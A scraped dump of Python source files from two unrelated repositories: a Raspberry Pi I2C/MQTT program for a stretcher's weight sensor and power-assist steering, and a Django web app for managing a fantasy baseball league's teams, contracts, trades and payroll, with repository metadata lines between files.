HTXIntelligentStretcher/RPII2C
refs/heads/main
/weight_sensor.py
import i2c.i2c_reader as i2c_reader import rpi_mqtt.libmqtt as libmqtt import json import time import struct def periodicallyRead(topic, slave_addr, register): failures=0 sucess=0 while True: try: weightt = i2c_reader.read_from_rpi_to_esp32(slave_addr, register) weight = struct.unpack('>f', weightt)[0] print("weight2", weight) client.publish(topic, json.dumps({'weight': weight})) sucess+=1 except (OSError, Exception) as e: print("failed") failures+=1 finally: time.sleep(1) print("successes", sucess) print("failures", failures) if __name__ == "__main__": client = libmqtt.initMQTT("weight") json_data = json.load(open("/home/pi/RPII2C/config.json",))["weight_sensor"] # periodicallyRead(json_data["weight_topic"], int(json_data["slave_addr"], 16), int(json_data["weight_register"], 16)) periodicallyRead(json_data["weight_topic"], int(json_data["slave_addr"], 16), int(json_data["weight_register"], 16))
{"/weight_sensor.py": ["/i2c/i2c_reader.py", "/rpi_mqtt/libmqtt.py"], "/power_steer.py": ["/i2c/i2c_sender.py", "/rpi_mqtt/libmqtt.py"]}
46,114
HTXIntelligentStretcher/RPII2C
refs/heads/main
/i2c/i2c_reader.py
from Adafruit_PureIO.smbus import SMBus # pip install adafruit-blinka from Raspberry_Pi_Master_for_ESP32_I2C_SLAVE.packer import Packer from Raspberry_Pi_Master_for_ESP32_I2C_SLAVE.unpacker import Unpacker import time def read_from_rpi_to_esp32(addr, register): # change 1 of SMBus(1) to bus number on your RPI print("Sending to ", addr, "register", register) smbus = SMBus(1) # prepare the data packed = None with Packer() as packer: packer.write(register) packer.write(0x02) packer.end() packed = packer.read() raw_list = None print(packed) smbus.write_bytes(addr, bytearray(packed)) time.sleep(0.3) # wait i2c process the request first = smbus.read_byte(addr) data_length = smbus.read_byte(addr) raw_list = list(smbus.read_bytes(addr, data_length - 2)) # the read_bytes contains the data format: first, length, data, crc8, end bytes raw_list.insert(0, data_length) raw_list.insert(0, first) # let's clean received data unpacked = None with Unpacker() as unpacker: unpacker.write(raw_list) unpacked = unpacker.read() assert unpacked[0] == register print(unpacked[1:]) return bytearray(unpacked[1:]) if __name__ == "__main__": print(read_from_rpi_to_esp32(0x06, 0x01))
{"/weight_sensor.py": ["/i2c/i2c_reader.py", "/rpi_mqtt/libmqtt.py"], "/power_steer.py": ["/i2c/i2c_sender.py", "/rpi_mqtt/libmqtt.py"]}
46,115
HTXIntelligentStretcher/RPII2C
refs/heads/main
/rpi_mqtt/libmqtt.py
import paho.mqtt.client as mqtt #import the client1 import json def initMQTT(name): json_data = json.load(open("/home/pi/RPII2C/config.json",))["mqtt_server_details"] broker_address = json_data["ip"] client = mqtt.Client(name) #create new instance client.connect(broker_address) #connect to broker return client
{"/weight_sensor.py": ["/i2c/i2c_reader.py", "/rpi_mqtt/libmqtt.py"], "/power_steer.py": ["/i2c/i2c_sender.py", "/rpi_mqtt/libmqtt.py"]}
46,116
HTXIntelligentStretcher/RPII2C
refs/heads/main
/test.py
a = [] def test(a): for _ in a: yield _ print(list(test(a)))
{"/weight_sensor.py": ["/i2c/i2c_reader.py", "/rpi_mqtt/libmqtt.py"], "/power_steer.py": ["/i2c/i2c_sender.py", "/rpi_mqtt/libmqtt.py"]}
46,117
HTXIntelligentStretcher/RPII2C
refs/heads/main
/power_steer.py
import i2c.i2c_sender as i2c_sender import rpi_mqtt.libmqtt as libmqtt import paho.mqtt.subscribe as subscribe import json import time def on_message(client, userdata, message): try: print("onmessage", message.payload.decode("utf-8")) mapped_cmds = list(i2c_sender.map_to_cmds(userdata, message.payload.decode("utf-8"))) i2c_sender.sendBytes(int(userdata["slave_addr"], 16), int(userdata["servo_register"], 16), mapped_cmds) except OSError as e: print(e) if __name__ == "__main__": json_data = json.load(open("./config.json",))["power_assist"] client = libmqtt.initMQTT("powerAssist") client.user_data_set(json_data) client.on_message = on_message client.subscribe(json_data["power_assist_topic"], qos=1) client.loop_forever()
{"/weight_sensor.py": ["/i2c/i2c_reader.py", "/rpi_mqtt/libmqtt.py"], "/power_steer.py": ["/i2c/i2c_sender.py", "/rpi_mqtt/libmqtt.py"]}
46,118
HTXIntelligentStretcher/RPII2C
refs/heads/main
/i2c/i2c_sender.py
from time import sleep from Adafruit_PureIO.smbus import SMBus from Raspberry_Pi_Master_for_ESP32_I2C_SLAVE.unpacker import Unpacker from Raspberry_Pi_Master_for_ESP32_I2C_SLAVE.packer import Packer from adafruit_extended_bus import ExtendedI2C as I2C import math import json def sendBytes(addr, registerCode, bytess): max_packet_length = 124 # i2c = I2C(1) # scan = i2c.scan() # print("I2c devices found: ", scan) with SMBus(1) as smbus: # address = scan[0] print(f"byte length: {len(bytess)}") if len(bytess) == 0: return if len(bytess) > max_packet_length: print("Too many bytes") return with Packer() as packer: packer.debug = True packer.write(registerCode) packer.write(0x01) for b in bytess: packer.write(b) packer.end() packed = packer.read() # print("packed: ", packed) smbus.write_bytes(addr, bytearray(packed)) print("Bytes written") def map_to_cmds(userdata, payload): given_cmds = json.loads(payload) for given_cmd in given_cmds.items(): if given_cmd[0] not in userdata["cmd_mapping"].keys(): yield 0x00 for cmd_type in userdata["cmd_mapping"][given_cmd[0]].items(): if cmd_type[0] == given_cmd[1]: yield int(cmd_type[1], 16) if __name__ == "__main__": failure = 0 success = 0 bytess = [0x01] while True: try: sendBytes(0x06, 0x01, bytess) success += 1 except (OSError, Exception) as e: failure += 1 finally: print("success", success) print("failure", failure)
{"/weight_sensor.py": ["/i2c/i2c_reader.py", "/rpi_mqtt/libmqtt.py"], "/power_steer.py": ["/i2c/i2c_sender.py", "/rpi_mqtt/libmqtt.py"]}
46,125
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/views/league_helper.py
from league.models.transactions import Trades, TradePart,\ TradePlayer, TradePick, TradeMoney def collect_trades(year, team=None): if team is None: trade = Trades.objects.filter(year=year) else: trade = Trades.objects.filter(year=year, team=team) trades = [] for t in trade: trd = collect_trade(t.id) trades.append(trd) return trades def collect_trade(id): trade = Trades.objects.filter(id=id) trade_part = TradePart.objects.filter(trade=id) trade_vector_part = collect_trade_vectors(trade_part) trade_vector = [] for t in trade_vector_part: trade_vector.append(collect_vector_part(t['giving'], t['receiving'], id)) trade = { 'trade': trade, 'trade_vector': trade_vector, } return trade def collect_trade_vectors(trade_parts): all_trade_vectors = [] unique_trade_vectors = [] for t in trade_parts: v = { 'giving': t.team_giving, 'receiving': t.team_receiving, } all_trade_vectors.append(v) for v in all_trade_vectors: if v not in unique_trade_vectors: unique_trade_vectors.append(v) return unique_trade_vectors def collect_vector_part(giving, receiving, id): players = TradePlayer.objects.filter(team_giving=giving, team_receiving=receiving, trade=id) picks = TradePick.objects.filter(team_giving=giving, team_receiving=receiving, trade=id) money = TradeMoney.objects.filter(team_giving=giving, team_receiving=receiving, trade=id) vector = { 'giving': giving, 'receiving': receiving, 'players': players, 'picks': picks, 'money': money, } return vector
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,126
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/models/__init__.py
from .players import Player, Contract, HitterCardStats,\ PitcherCardStats from .teams import Ballpark, Franchise, Team, Payroll from .transactions import Arbitration, DraftPick, Trades, TradePart,\ TradePlayer, TradePick, TradeMoney, AvailableDraftPick, AvailableFreeAgent,\ FreeAgentBid
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,127
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/models/teams.py
from django.contrib.auth import get_user_model from django.db import models User = get_user_model() class Ballpark(models.Model): id = models.CharField(primary_key=True, max_length=10) name = models.CharField(max_length=75) location = models.CharField(max_length = 50) year = models.IntegerField() singles_left = models.IntegerField() singles_right = models.IntegerField() homeruns_left = models.IntegerField() homeruns_right = models.IntegerField() class Meta: ordering = ['-year', 'location'] def __str__(self): return '{} {} Ballpark'.format(self.year, self.location) class Franchise(models.Model): id = models.CharField(primary_key=True, max_length=20) owner = models.ForeignKey(User, db_column='current_owner', null=True, on_delete=models.SET_NULL) location = models.CharField(max_length=50) nickname = models.CharField(max_length=50) class Meta: ordering = ['location'] def __str__(self): return '{} {} Franchise'.format(self.location, self.nickname) class Team(models.Model): id = models.CharField(primary_key=True, max_length=20) year = models.IntegerField() abbreviation = models.CharField(max_length=5) franchise = models.ForeignKey(Franchise, db_column='franchise', on_delete=models.CASCADE) location = models.CharField(max_length=50) nickname = models.CharField(max_length=50) owner = models.ForeignKey(User, db_column='owner', null=True, on_delete=models.SET_NULL) # Setting up division choices ALW = 'ALW' ALE = 'ALE' NLW = 'NLW' NLE = 'NLE' division_choices = ( (ALW, 'AL West'), (ALE, 'AL East'), (NLW, 'NL West'), (NLE, 'NL East'), ) division = models.CharField(max_length=12, choices=division_choices) ballpark = models.ForeignKey(Ballpark, db_column='ballpark', on_delete=models.PROTECT) class Meta: ordering = ['-year', 'location'] def __str__(self): return '{} {} {}'.format(self.year, self.location, self.nickname) class Payroll(models.Model): receiving = models.ForeignKey(Franchise, db_column='receiving', null=True, blank=True, related_name='receiving', on_delete=models.SET_NULL) paying = models.ForeignKey(Franchise, db_column='paying', null=True, blank=True, related_name='paying', on_delete=models.SET_NULL) year = models.IntegerField() money = models.IntegerField() note = models.TextField() class Meta: ordering = ['year', 'note'] def __str__(self): return '<Payroll Adjustment: {} {}>'.format(self.year, self.note)
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,128
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/strat/context_processor.py
def current_user(request): user = None if request.user.is_authenticated: user = request.user return {'user': user}
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,129
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/views/players.py
from django.shortcuts import render, get_object_or_404 from django.utils import timezone from django.views import generic, View from league.models.players import Player, HitterCardStats, PitcherCardStats from .player_helper import collect_player_position, collect_team class IndexView(generic.ListView): template_name = 'league/player/index.html' context_object_name = 'player_list' def get_queryset(self): return Player.objects.all() class PlayerDetail(View): def get(self, request, player_id): player = get_object_or_404(Player, pk=player_id) hitting_card_stats = HitterCardStats.objects.filter(player=player_id).order_by('year') pitching_card_stats = PitcherCardStats.objects.filter(player=player_id).order_by('year') positions = collect_player_position(player) year = timezone.now().year teams = collect_team(player, year) context = { 'player': player, 'bats': player.batting_hand(), 'throws': player.throwing_hand(), 'positions': positions, 'teams': teams, 'hitting_card_stats': hitting_card_stats, 'pitching_card_stats': pitching_card_stats, } return render(request, 'league/player/detail.html', context)
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,130
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/views/home.py
from django.views import generic class IndexView(generic.ListView): template_name = 'league/home_page.html' def get_queryset(self): """ Gives an empty queryset to allow loading of the home page. """ return None
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,131
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/migrations/0002_auto_20171221_1517.py
# Generated by Django 2.0 on 2017-12-21 23:17 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('league', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='roster', name='player', ), migrations.RemoveField( model_name='roster', name='team', ), migrations.AddField( model_name='contract', name='team', field=models.ForeignKey(db_column='team', default='EVT', on_delete=django.db.models.deletion.PROTECT, to='league.Franchise'), preserve_default=False, ), migrations.DeleteModel( name='Roster', ), ]
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,132
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/factories/team_factories.py
import factory from factory.django import DjangoModelFactory from league.models import Team, Ballpark, Franchise class BallparkFactory(DjangoModelFactory): class Meta: model = Ballpark id = factory.Sequence(lambda n: "%003d" % n) name = factory.Sequence(lambda n: "Default Ballpark Name %003d" % n) location = factory.Sequence(lambda n: "Default Ballpark Location %003d" % n) year = 2017 singles_left = 5 singles_right = 5 homeruns_left = 5 homeruns_right = 5 class FranchiseFactory(DjangoModelFactory): class Meta: model = Franchise id = factory.Sequence(lambda n: "%003d" % n) nickname = factory.Sequence(lambda n: "Default Franchise Name %003d" % n) location = factory.Sequence(lambda n: "Default Franchise Location %003d" % n) class TeamFactory(DjangoModelFactory): class Meta: model = Team id = factory.Sequence(lambda n: "%003d" % n) year = 2017 abbreviation = factory.Sequence(lambda n: "T%0004d" % n) nickname = factory.Sequence(lambda n: "Default Team Name %003d" % n) location = factory.Sequence(lambda n: "Default Team Location %003d" % n) franchise = factory.SubFactory(FranchiseFactory, nickname=factory.Sequence(lambda n: "Team Franchise %003d" % n)) division = 'ALW' ballpark = factory.SubFactory(BallparkFactory)
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,133
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/migrations/0001_initial.py
# Generated by Django 2.0 on 2017-12-21 14:48 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='Ballpark', fields=[ ('id', models.CharField(max_length=10, primary_key=True, serialize=False)), ('name', models.CharField(max_length=75)), ('location', models.CharField(max_length=50)), ('year', models.IntegerField()), ('singles_left', models.IntegerField()), ('singles_right', models.IntegerField()), ('homeruns_left', models.IntegerField()), ('homeruns_right', models.IntegerField()), ], ), migrations.CreateModel( name='Contract', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('type', models.CharField(max_length=8)), ('year', models.IntegerField(default=1)), ('contract_season', models.IntegerField(default=1)), ('length', models.IntegerField()), ('salary', models.IntegerField()), ], ), migrations.CreateModel( name='Franchise', fields=[ ('id', models.CharField(max_length=20, primary_key=True, serialize=False)), ('location', models.CharField(max_length=50)), ('nickname', models.CharField(max_length=50)), ('owner', models.ForeignKey(db_column='current_owner', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Payroll', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('year', models.IntegerField()), ('money', models.IntegerField()), ('note', models.TextField()), ('paying', models.ForeignKey(db_column='paying', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='paying', to='league.Franchise')), ('receiving', models.ForeignKey(db_column='receiving', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='receiving', to='league.Franchise')), ], ), migrations.CreateModel( name='Player', fields=[ ('id', models.CharField(max_length=20, primary_key=True, serialize=False)), ('first_name', models.CharField(max_length=40)), ('last_name', models.CharField(max_length=40)), ('player_type', models.CharField(max_length=2)), ('active', models.BooleanField(default=True)), ('bats', models.CharField(max_length=1)), ('throws', models.CharField(max_length=1)), ('birth_year', models.IntegerField()), ('bbref_id', models.CharField(max_length=20)), ('mlb_id', models.CharField(max_length=10)), ('bp_id', models.CharField(max_length=10)), ('cbs_id', models.CharField(max_length=10)), ('espn_id', models.CharField(max_length=10)), ('fg_id', models.CharField(max_length=10)), ], ), migrations.CreateModel( name='Roster', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('player', models.ForeignKey(db_column='player', on_delete=django.db.models.deletion.PROTECT, to='league.Player')), ('team', models.ForeignKey(db_column='team', on_delete=django.db.models.deletion.PROTECT, to='league.Franchise')), ], ), migrations.CreateModel( name='Team', fields=[ ('id', models.CharField(max_length=20, primary_key=True, serialize=False)), ('year', models.IntegerField()), ('abbreviation', models.CharField(max_length=5)), ('location', models.CharField(max_length=50)), ('nickname', models.CharField(max_length=50)), ('division', models.CharField(choices=[('ALW', 'AL West'), ('ALE', 'AL East'), ('NLW', 'NL West'), ('NLE', 'NL East')], max_length=12)), ('ballpark', models.ForeignKey(db_column='ballpark', on_delete=django.db.models.deletion.PROTECT, to='league.Ballpark')), ('franchise', models.ForeignKey(db_column='franchise', on_delete=django.db.models.deletion.CASCADE, to='league.Franchise')), ('owner', models.ForeignKey(db_column='owner', null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)), ], ), migrations.AddField( model_name='contract', name='player', field=models.ForeignKey(db_column='player_id', on_delete=django.db.models.deletion.CASCADE, to='league.Player'), ), ]
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,134
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/views/tests/test_teams.py
from django.test import TestCase, RequestFactory from factories.team_factories import TeamFactory from league.models import Team from league.views.teams import TeamIndex class TestTeamIndex(TestCase): def setUp(self): for i in range(3): TeamFactory() def test_get(self): """ Can we get the team index from our view? """ year = '2017' v = TeamIndex.as_view() request_factory = RequestFactory() request = request_factory.get('/league/teams/2017/') result = v(request, year) self.assertEqual(result.status_code, 200) def test_filter_by_year(self): """ Can we view the team index by year? """ v = TeamIndex.as_view() year = "2018" team = TeamFactory(year=2018) request_factory = RequestFactory() request = request_factory.get('/league/teams/2017/') other_teams = Team.objects.filter(year=2017) result = v(request, year) self.assertIn(team.nickname.encode(), result.content) for ot in other_teams: self.assertNotIn(ot.nickname.encode(), result.content) def test_check_row_data(self): """ Do we layout the row data correctly for each team? """ year = "2017" v = TeamIndex.as_view() request_factory = RequestFactory() request = request_factory.get('/league/teams/2017/') result = v(request, year) from testvalue import teams self.assertInHTML(teams, result.content.decode("utf-8"))
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,135
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/forms/teams.py
from django import forms renewable_choices = ( ('keep', 'Keep'), ('ltc', 'Long Term Contract'), ('rel', 'Release'), ) guarenteed_choices = ( ('keep', 'Keep'), ('rel', 'Release'), ) class RenewableArbitration(forms.Form): def __init__(self, *args, **kwargs): renewable = kwargs.pop('renewable') super(RenewableArbitration, self).__init__(*args, **kwargs) for i, player in enumerate(renewable): self.fields['{}'.format(player['id'])] = \ forms.MultipleChoiceField(choices=renewable_choices, widget=forms.RadioSelect, label='{}, {}'.format(player['player'].last_name, player['player'].first_name)) class GuarenteedArbitration(forms.Form): def __init__(self, *args, **kwargs): guarenteed = kwargs.pop('guarenteed') super(GuarenteedArbitration, self).__init__(*args, **kwargs) for i, player in enumerate(guarenteed): self.fields['{}'.format(player['id'])] = \ forms.MultipleChoiceField(choices=guarenteed_choices, widget=forms.RadioSelect, label='{}, {}'.format(player['player'].last_name, player['player'].first_name))
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,136
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/views/teams.py
from django.contrib.auth.mixins import UserPassesTestMixin from django.shortcuts import render from django.utils import timezone from django.views import View from league.forms.teams import RenewableArbitration, GuarenteedArbitration from league.models.teams import Team from league.views.team_helper import collect_teams, collect_team, collect_roster, \ collect_payroll, collect_card_stats, collect_contract_display, collect_adjustments, \ collect_renewable, collect_guarenteed, collect_arbitration, collect_draft_pick class TeamIndex(View): """ Gets a list of the teams for a given year """ http_method_names = ['get'] def get(self, request, year=None): if year is None: year = timezone.now().year years = set(Team.objects.all().values_list("year", flat=True)) next_year, last_year = None, None if year + 1 in years: next_year = year + 1 if year - 1 in years: last_year = year - 1 team_list = collect_teams(year) for t in team_list: t = collect_roster(t) t = collect_payroll(t) context = { 'team_list': team_list, 'year': year, 'last_year': last_year, 'next_year': next_year, } return render(request, 'league/team/index.html', context) class TeamStats(View): http_method_names = ['get'] def get(self, request, abbreviation, year=None): if year is None: year = timezone.now().year team = collect_team(year, abbreviation) context = { 'team': team, } return render(request, 'league/team/stats.html', context) # This view has been depricated def team_detail(request, year, abbreviation): team = collect_team(year, abbreviation) team = collect_roster(team) context = { 'team': team, } return render(request, 'league/team/detail.html', context) class TeamContracts(View): http_method_names = ['get'] def get(self, request, year, abbreviation): team = collect_team(year=year, abbreviation=abbreviation) team = collect_roster(team) team = collect_payroll(team) team = collect_adjustments(team) for r in team['roster']: r['contract'] = collect_contract_display(r['contract']) context = { 'team': team, 'contract_list': ['Y1', 'Y2', 'Y3', 'Arb4', 'Arb5', 'Arb6', 'FA'], } return render(request, 'league/team/contracts.html', context) class TeamOffSeasonContracts(UserPassesTestMixin, View): def test_func(self): """ Test If the current user owns the current team. Returns: bool """ my_path = self.request.path.split('/') year = my_path[1] abbreviation = my_path[2] if self.request.method.lower() == 'get': return True try: Team.objects.get(owner=self.request.user, year=year, abbreviation=abbreviation) except Team.DoesNotExist: return False return True def get(self, request, year, abbreviation): header = collect_team_header(abbreviation, year) contracts = collect_off_season_contracts(abbreviation, year) payroll = collect_payroll_elements(abbreviation, year) is_owner = Team.objects.filter(owner=self.request.user, year=year, abbreviation=abbreviation).count() context = { 'is_owner': is_owner, 'contracts': contracts, 'payroll': payroll, 'header': header, } return render(request, 'league/team/off_season_contracts.html', context) def post(self): pass class TeamDraftPick(View): http_method_names = ['get'] def get(self, request, year, abbreviation): team = collect_team(year=year, abbreviation=abbreviation) team = collect_draft_pick(team) context = { 'team': team, } return render(request, 'league/team/draft_picks.html', context) class TeamRoster(View): """ Gets a roster for a specific team, includes displays for player card stats """ http_method_names = ['get'] def get(self, request, year, abbreviation): team = collect_team(year, abbreviation) team = collect_roster(team) team = collect_card_stats(team) context = { 'team': team, } return render(request, 'league/team/roster.html', context) class TeamArbitration(View): def get(self, request, year, abbreviation): team = collect_team(year=year, abbreviation=abbreviation) team = collect_roster(team) team = collect_payroll(team) renewable = collect_renewable(team) guarenteed = collect_guarenteed(team) arbitration = collect_arbitration(team) renewable = RenewableArbitration(request.POST or None, renewable=renewable) guarenteed = GuarenteedArbitration(request.POST or None, guarenteed=guarenteed) context = { 'team': team, 'renewable': renewable, 'guarenteed': guarenteed, 'arbitration': arbitration, } return render(request, 'league/team/arbitration.html', context)
{"/django_strat/strat/league/models/__init__.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py", "/django_strat/strat/league/models/transactions.py"], "/django_strat/strat/league/views/players.py": ["/django_strat/strat/league/views/player_helper.py"], "/django_strat/strat/league/views/league.py": ["/django_strat/strat/league/views/league_helper.py"], "/django_strat/strat/league/models/transactions.py": ["/django_strat/strat/league/models/players.py", "/django_strat/strat/league/models/teams.py"], "/django_strat/strat/league/admin.py": ["/django_strat/strat/league/models/__init__.py"]}
46,137
Jasper-C/django-strat
refs/heads/master
/django_strat/strat/league/views/team_helper.py
from django.db.models import Q from league.models.players import Contract, HitterCardStats, PitcherCardStats from league.models.teams import Payroll, Team from league.models.transactions import Arbitration, DraftPick """ A possible team_dict keys and where they are generated: id, team abbreviation (str), generated in collect_team or collect_teams team, team object, generated in collect team or collect_teams roster, roster list (of dict), generated in collect_roster payroll, payroll dict, generated in collect_payroll adjustment, adjustment list (of dict), generated in collect_adjustments draft_pick, draft pick list (of dict), generated in collect_draft_pick """ def collect_teams(year): """ Takes a year and returns a list of team dictionaries with the id and team keys return: list of dictionaries of teams """ team_list = Team.objects.filter(year=year).order_by('location') teams = [] for t in team_list: team = { 'id': t.abbreviation, 'team': t, } teams.append(team) return teams def collect_team(year, abbreviation): """ Takes a year and abbreviation and returns a team dictionary with the id and team keys return: dictionary of a team """ team = Team.objects.filter(year=year, abbreviation=abbreviation)[0] team = { 'id': abbreviation, 'team': team, } return team def collect_roster(team_dict): """ Takes a team_dict and adds a roster key, the roster is a list of players with keys: id, player and contract. Requires the team key already. Return team_dict with new roster key """ team = team_dict['team'] team_dict['roster'] = [] roster = Contract.objects.filter(year=team.year, team=team.abbreviation) for r in roster: player = { 'id': r.player.id, 'player': r.player, 'contract': r } team_dict['roster'].append(player) return team_dict def collect_payroll(team_dict): """ Takes a team_dict with a roster key and adds a payroll key. The payroll key contains a dictionary that has quick roster size info, gross and net payroll, payroll adjustments and remaining payroll. Requires the roster key already. return team_dict """ fourty_five_man = len(team_dict['roster']) fourty_man = sum(1 for x in team_dict['roster'] if x['contract'].type != 'AA') gross_payroll = collect_salaries(team_dict) payroll_adjustments = collect_adjustment_totals(team_dict) net_payroll = [0, 0, 0, 0, 0] payroll_remaining = [0, 0, 0, 0, 0] for i in range(5): net_payroll[i] = gross_payroll[i] + payroll_adjustments[i] payroll_remaining[i] = 135000000 - net_payroll[i] team_dict['payroll'] = { '40_man': fourty_man, '45_man': fourty_five_man, 'gross_payroll': gross_payroll, 'payroll_adjustments': payroll_adjustments, 'net_payroll': net_payroll, 'payroll_remaining': payroll_remaining, 'salary_cap': [135000000, 135000000, 135000000, 135000000, 135000000] } return team_dict def collect_card_stats(team_dict): """ Takes a team_dict with a roster key and adds a card_stats key, the card stats key includes a dictionary with 3 lists: hitters card stats, pitchers card stats and an uncarded players list. return team_dict """ team_dict['card_stats'] = { 'hitters': [], 'pitchers': [], 'uncarded': [], } for p in team_dict['roster']: hitter = HitterCardStats.objects.filter(player=p['id'], 